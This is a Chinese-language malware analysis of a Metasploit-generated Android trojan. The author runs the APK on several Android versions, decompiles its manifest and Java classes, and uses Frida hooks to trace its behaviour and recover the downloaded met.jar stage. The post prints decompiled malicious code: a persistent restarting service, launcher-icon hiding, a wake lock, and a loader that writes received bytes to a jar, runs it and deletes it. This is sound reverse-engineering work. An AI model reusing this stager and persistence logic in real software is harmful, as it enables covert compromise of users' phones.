msf Android马分析
# PREFACE:
# 一、运行效果以及环境搭建
已知这个马上线安卓 13(我的测试机环境)是会被直接拦的,尝试了一下安卓 7
可以上马,上的时候不会检测权限,但是 shell 不进去以及文件看不到,推测是权限管理系统拦了但是马没有申请,合理怀疑是安卓 6.0 以后需要动态申请权限,这里的马存在一定问题
这边上一个 android5,不行,报错
上一个 android6,成功!
简单看一下我们的权限:
简单来说没什么用,大概研究一下应该是进应用沙箱了,但是权限是给满的,很奇怪,还是啥也干不了
# 二、逆向分析
# AndroidMainfest.xml
<uses-permission android:name="android.permission.INTERNET"/> | |
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> | |
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> | |
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> | |
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> | |
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> | |
<uses-permission android:name="android.permission.READ_PHONE_STATE"/> | |
<uses-permission android:name="android.permission.SEND_SMS"/> | |
<uses-permission android:name="android.permission.RECEIVE_SMS"/> | |
<uses-permission android:name="android.permission.RECORD_AUDIO"/> | |
<uses-permission android:name="android.permission.CALL_PHONE"/> | |
<uses-permission android:name="android.permission.READ_CONTACTS"/> | |
<uses-permission android:name="android.permission.WRITE_CONTACTS"/> | |
<uses-permission android:name="android.permission.WRITE_SETTINGS"/> | |
<uses-permission android:name="android.permission.CAMERA"/> | |
<uses-permission android:name="android.permission.READ_SMS"/> | |
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> | |
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> | |
<uses-permission android:name="android.permission.SET_WALLPAPER"/> | |
<uses-permission android:name="android.permission.READ_CALL_LOG"/> | |
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/> | |
<uses-permission android:name="android.permission.WAKE_LOCK"/> | |
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> | |
<uses-feature android:name="android.hardware.camera"/> | |
<uses-feature android:name="android.hardware.camera.autofocus"/> | |
<uses-feature android:name="android.hardware.microphone"/> |
申请权限,注定这个马只能低版本使用
<application android:label="@string/app_name"> | |
<activity android:label="@string/app_name" android:name=".MainActivity" android:theme="@android:style/Theme.NoDisplay"> | |
<intent-filter> | |
<action android:name="android.intent.action.MAIN"/> | |
<category android:name="android.intent.category.LAUNCHER"/> | |
</intent-filter> | |
<intent-filter> | |
<data android:host="my_host" android:scheme="metasploit"/> | |
<category android:name="android.intent.category.DEFAULT"/> | |
<category android:name="android.intent.category.BROWSABLE"/> | |
<action android:name="android.intent.action.VIEW"/> | |
</intent-filter> | |
</activity> | |
<receiver android:label="MainBroadcastReceiver" android:name=".MainBroadcastReceiver"> | |
<intent-filter> | |
<action android:name="android.intent.action.BOOT_COMPLETED"/> | |
</intent-filter> | |
</receiver> | |
<service android:exported="true" android:name=".MainService"/> | |
</application> |
活动类名: MainActivity
注册 intent:
<action android:name="android.intent.action.MAIN"/>
- 指定该活动为应用程序的主要入口点。<category android:name="android.intent.category.LAUNCHER"/>
- 指定该活动为启动器活动,即显示在设备的应用程序列表中并且可由用户启动- 指定了
metasploit
协议链接的主机和方案 - 等等
# MainService
public static void start() { | |
Class v0_2; | |
try { | |
v0_2 = Class.forName("android.app.ActivityThread"); | |
goto label_5; | |
} | |
catch(ClassNotFoundException v0_1) { | |
return; | |
try { | |
label_5: | |
Method v1 = v0_2.getMethod("currentApplication"); | |
Context v0_3 = (Context)v1.invoke(null, null); | |
if(v0_3 == null) { | |
new Handler(Looper.getMainLooper()).post(new c(v1)); | |
return; | |
} | |
MainService.startService(v0_3); | |
} | |
catch(Exception v0) { | |
} | |
return; | |
} | |
catch(Exception v0) { | |
return; | |
} | |
} |
- 尝试通过反射加载
android.app.ActivityThread
中的currentApplication
方法并通过invoke
执行,转化为 context 类型保存,如果获取不到 Context,则通过主线程的Handler
将一个新的Runnable
对象发送到消息队列中,以便在主线程中执行,c 中的逻辑为在运行时尝试通过之前传递进来的Method
对象获取Context
对象,并在获取成功时启动MainService
服务
final class c implements Runnable { | |
private Method a; | |
c(Method arg1) { | |
this.a = arg1; | |
super(); | |
} | |
@Override | |
public final void run() { | |
try { | |
Context v0_1 = (Context)this.a.invoke(null, null); | |
if(v0_1 != null) { | |
MainService.startService(v0_1); | |
return; | |
} | |
} | |
catch(Exception v0) { | |
return; | |
} | |
} | |
} |
java 反射:深入理解 Java 中的反射机制及使用原理!详细解析 invoke 方法的执行和使用 - 阿里云开发者社区 (aliyun.com)
- 允许运行中的 Java 程序获取自身信息,并可以操作类或者对象的内部属性
- 程序中的对象一般都是在编译时就确定下来,Java 反射机制可以动态地创建对象并且调用相关属性,这些对象的类型在编译时是未知的
- 也就是说 ,可以通过反射机制直接创建对象,即使这个对象类型在编译时是未知的
类的加载机制:JVM 使用 ClassLoader 将字节码文件,即 class 文件加载到方法区内存中
Class clazz = ClassLoader.getSystemClassLoader().loadClass("com.mypackage.MyClass");ClassLoader 类根据类的完全限定名加载类并返回一个 Class 对象
反射的用途:
- 很多框架都是配置化的,通过 XML 文件配置 Bean
- 为了保证框架的通用性,需要根据配置文件加载不同的对象或者类,调用不同的方法
- 要运用反射,运行时动态加载需要加载的对象
这里主要就是用③,实现动态加载,反射是各种容器实现的核心
从类中获取一个方法后,可以使用 invoke () 来调用这个方法
public int onStartCommand(Intent arg2, int arg3, int arg4) { | |
Payload.start(this); | |
return 1; | |
} |
Service
类的重写方法,用于处理启动服务的命令。 1
表示如果服务被杀死了,系统尝试重新创建服务并调用 onStartCommand()
方法;即这里会维持在后台循环启动 payload
我们知道,frida 会悬挂进程并多起四个线程(可以自行调试,这个地方还没有具体了解原理,不过需要注意)那么我们编辑运行基本的一个脚本就会观察到有
setImmediate(function(){ | |
console.log("lld [*]"); | |
Java.perform(function(){ | |
var myClass = Java.use("com.metasploit.stage.MainActivity"); | |
myClass.implementation = function(v){ | |
} | |
}) | |
}) |
后台重新加载了几次 payload,使得 vps 重新接收到了 sessions,随即关闭掉前面的链接,可以认为我们的推断是基本正确的,这部分实现了马的持久化
测试 payload 的重加载:
setImmediate(function(){ | |
console.log("lld [*]"); | |
Java.perform(function(){ | |
var myClass = Java.use("com.metasploit.stage.MainService"); | |
myClass.onStartCommand.implementation = function(arg2, arg3, arg4){ | |
send('com.myclass.onStartCommand.implementation'); | |
var ret = this.onStartCommand(arg2, arg3, arg4); | |
send("result:"+2); | |
return 2; | |
} | |
}) | |
}) |
修改返回值,服务会快速重置,但是新的连接无法维持,原因是我们 hook 了返回值为 START_NOT_STICKY
# Payload
# class b
private static int a(byte[] arg4, int arg5) { | |
int v0 = 0; | |
int v1 = 0; | |
while(v0 < 4) { | |
v1 |= (arg4[v0 + arg5] & 0xFF) << (v0 << 3); | |
++v0; | |
} | |
return v1; | |
} |
这里明显是一个大小端序转化,基本上就是在对 payload 做数据处理,先大体手动还原符号,看起来就是简单编码还原 payload 内容并获取信息:
package com.metasploit.stage; | |
import java.io.UnsupportedEncodingException; | |
import java.util.concurrent.TimeUnit; | |
public final class b { | |
private static final long timestamp; | |
static { | |
b.timestamp = TimeUnit.SECONDS.toMillis(1L); | |
} | |
private static int change_endian(byte[] arg4, int arg5) { | |
int v0 = 0; | |
int v1 = 0; | |
while(v0 < 4) { | |
v1 |= (arg4[v0 + arg5] & 0xFF) << (v0 << 3); | |
++v0; | |
} | |
return v1; | |
} | |
public static a a(byte[] arg11) { | |
a v3 = new a(); | |
v3.a = b.change_endian(arg11, 0); | |
long v6 = (long)b.change_endian(arg11, 12); | |
v3.b = b.timestamp * v6; | |
b.copy_array(arg11, 16, 16); | |
b.copy_array(arg11, 0x20, 16); | |
int v0 = 0x30; | |
if((v3.a & 1) != 0) { | |
v3.c = b.encode(arg11, 8000, 100); | |
} | |
while(arg11[v0] != 0) { | |
g v4 = new g(); | |
v4.a = b.encode(arg11, v0, 0x200); | |
int v0_1 = v0 + 0x204; | |
long v8 = (long)b.change_endian(arg11, v0_1); | |
v4.b = b.timestamp * v8; | |
int v0_2 = v0_1 + 4; | |
long v8_1 = (long)b.change_endian(arg11, v0_2); | |
v4.c = b.timestamp * v8_1; | |
v0 = v0_2 + 4; | |
if(v4.a.startsWith("http")) { | |
b.encode(arg11, v0, 0x80); | |
int v0_3 = v0 + 0x80; | |
b.encode(arg11, v0_3, 0x40); | |
int v0_4 = v0_3 + 0x40; | |
b.encode(arg11, v0_4, 0x40); | |
int v0_5 = v0_4 + 0x40; | |
v4.d = b.encode(arg11, v0_5, 0x100); | |
int v0_6 = v0_5 + 0x100; | |
v4.e = null; | |
byte[] v5 = b.copy_array(arg11, v0_6, 20); | |
int v2 = v0_6 + 20; | |
int v0_7; | |
for(v0_7 = 0; v0_7 < v5.length; ++v0_7) { | |
if(v5[v0_7] != 0) { | |
v4.e = v5; | |
break; | |
} | |
} | |
StringBuilder v5_1 = new StringBuilder(); | |
int v0_8; | |
for(v0_8 = v2; v0_8 < arg11.length; ++v0_8) { | |
byte v7 = arg11[v0_8]; | |
if(v7 == 0) { | |
break; | |
} | |
v5_1.append(((char)(v7 & 0xFF))); | |
} | |
String v0_9 = v5_1.toString(); | |
v4.f = v0_9; | |
v0 = v0_9.length() + v2; | |
} | |
v3.d.add(v4); | |
} | |
return v3; | |
} | |
private static String encode(byte[] arg3, int arg4, int arg5) { | |
byte[] v0 = b.copy_array(arg3, arg4, arg5); | |
try { | |
return new String(v0, "ISO-8859-1").trim(); | |
} | |
catch(UnsupportedEncodingException v1) { | |
return new String(v0).trim(); | |
} | |
} | |
private static byte[] copy_array(byte[] arg2, int arg3, int arg4) { | |
byte[] v0 = new byte[arg4]; | |
System.arraycopy(arg2, arg3, v0, 0, arg4); | |
return v0; | |
} | |
} |
这里重载函数比较多,可以直接拿脚本批量打印一下看,
function logInf(classs){ | |
Java.perform(function (){ | |
var Modifier = Java.use("com.metasploit.stage.b"); | |
var modifiers = classs.getModifiers(); | |
classs.setAccessible(true); | |
if (Modifier.isStatic(modifiers)) { | |
// 静态字段 | |
var value = classs.get(null); | |
console.log(classs + " =>" + value) | |
} else { | |
console.log(classs) | |
} | |
}) | |
} | |
function getAllsonClass(classs){ | |
console.log('\n') | |
console.log("查询到子类 =>" + classs.getName()) | |
hookClass(String(classs.getName())) | |
} | |
var thisclass = null; | |
//"java.security.MessageDigest" | |
function hookClass(CLASS){ | |
Java.perform(function(){ | |
var classStudent = Java.use(CLASS); | |
var classs = classStudent.class; | |
// 获取所有内部类 | |
var innerClasses = classs.getDeclaredClasses(); | |
if(innerClasses.length > 0){ | |
innerClasses.forEach(getAllsonClass); | |
} | |
console.log("===========" + classs + "中的所有变量==============") | |
// 输出所有变量 | |
classs.getDeclaredFields().forEach(logInf) | |
console.log("===========" + classs + "的所有方法==============") | |
// 输出所有方法,并 hook | |
classs.getDeclaredMethods().forEach(function(method){ | |
console.log(method) | |
var methodsName = method.getName(); | |
var overloads = classStudent[methodsName].overloads; | |
// console.log(overloads.length) | |
for (var i=0; i< overloads.length; i++){ | |
overloads[i].implementation = function () { | |
console.log('\n') | |
console.warn("进入" + classs.getName() + "类的" + methodsName + "方法") | |
for(var j=0; j<arguments.length; j++){ | |
console.error("参数" + j + " => " + arguments[j]) | |
} | |
if (arguments.length === 0) { | |
console.log("该函数无参数"); | |
} | |
var result = this[methodsName].apply(this,arguments) | |
console.error("结果是 => " + result) | |
return result; | |
}; | |
} | |
}) | |
console.log('\n') | |
}) | |
} | |
function main(){ | |
try { | |
hookClass("com.metasploit.stage.b") | |
}catch (e) { | |
console.log("没有找到该类") | |
} | |
} | |
setImmediate(main) |
可以看到两个比较关键的结果:
即,这里的 payload 就是 msf 马生成的信息部分,在 b 函数中还原出信息并添加生成一个 http request 包
# payload
if((v6.a & 4) != 0 && Payload.b != null) { | |
PowerManager.WakeLock v0 = ((PowerManager)Payload.b.getSystemService("power")).newWakeLock(1, Payload.class.getSimpleName()); | |
v0.acquire(); | |
v1 = v0; | |
} |
- 这里创建了一个
WakeLock
对象v0
,它允许应用程序保持设备唤醒状态,这里通过Payload.b.getSystemService("power")
获取了系统服务power
,并将其转换为PowerManager
对象。然后调用newWakeLock(1, Payload.class.getSimpleName())
方法创建了一个WakeLock
对象,参数1
表示创建的WakeLock
类型是PARTIAL_WAKE_LOCK
,即部分唤醒锁定,它允许 CPU 继续运行,但允许屏幕和其他系统资源关闭。
private static void a() { | |
if(Payload.b != null) { | |
String v1 = Payload.b.getPackageName(); | |
PackageManager v2 = Payload.b.getPackageManager(); | |
Intent v0 = new Intent("android.intent.action.MAIN", null); | |
v0.addCategory("android.intent.category.LAUNCHER"); | |
for(Object v0_1: v2.queryIntentActivities(v0, 0)) { | |
ResolveInfo v0_2 = (ResolveInfo)v0_1; | |
if(!v1.equals(v0_2.activityInfo.packageName)) { | |
continue; | |
} | |
v2.setComponentEnabledSetting(new ComponentName(v1, v0_2.activityInfo.name), 2, 1); | |
} | |
} | |
} |
- 实现了禁用启动器图标,与上文 callback 可以隐匿在后台刷新
下面一段是进行基础的 tcp 解包,不需要讲,后面可以直接抓包看行为
private static void a(DataInputStream arg11, OutputStream arg12, Object[] arg13) { | |
if(Payload.e == null) { | |
String v0 = (String)arg13[0]; | |
String v1 = v0 + File.separatorChar + Integer.toString(new Random().nextInt(0x7FFFFFFF), 36); | |
String v2 = v1 + ".jar"; | |
String v3 = new String(Payload.a(arg11)); | |
byte[] v4 = Payload.a(arg11); | |
File v5 = new File(v2); | |
if(!v5.exists()) { | |
v5.createNewFile(); | |
} | |
FileOutputStream v6 = new FileOutputStream(v5); | |
v6.write(v4); | |
v6.flush(); | |
v6.close(); | |
Class v0_1 = new DexClassLoader(v2, v0, v0, Payload.class.getClassLoader()).loadClass(v3); | |
Object v2_1 = v0_1.newInstance(); | |
v5.delete(); | |
new File(v1 + ".dex").delete(); | |
v0_1.getMethod("start", DataInputStream.class, OutputStream.class, Object[].class).invoke(v2_1, arg11, arg12, arg13); | |
} | |
else { | |
Payload.class.getClassLoader().loadClass(Payload.e).getConstructor(DataInputStream.class, OutputStream.class, Object[].class, Boolean.TYPE).newInstance(arg11, arg12, arg13, Boolean.valueOf(false)); | |
} | |
Payload.c = -1L; | |
} |
这里很明显动态生成了文件,并反射运行其中的部分内容,相同的方法抓取方法返回值和参数,可以拿到:
反射运行了这个方法,这里仍旧是一个 loader
那么这里就需要获得里面的 met.jar
,有点缺乏经验不知道怎么搞(这里需要清楚,frida 去 hook 的是 app 内所有的内容,即使 loader 加载的也不例外),不过询问了一下可以去 hook File.delete
,然后去找文件
setImmediate(function(){ | |
console.log("lld [*]"); | |
Java.perform(function(){ | |
var myClass = Java.use("java.io.File"); | |
myClass.delete.implementation = function(){ | |
// var ret = this.onStartCommand(); | |
console.log("delete hooked"); | |
} | |
}) | |
}) |
这 frida 确实有点好用的
# met.jar
根据刚才的分析,入口类就是这里的 com.metasploit.meterpreter.AndroidMeterpreter
里面的马已经相当明文,就暂时不看了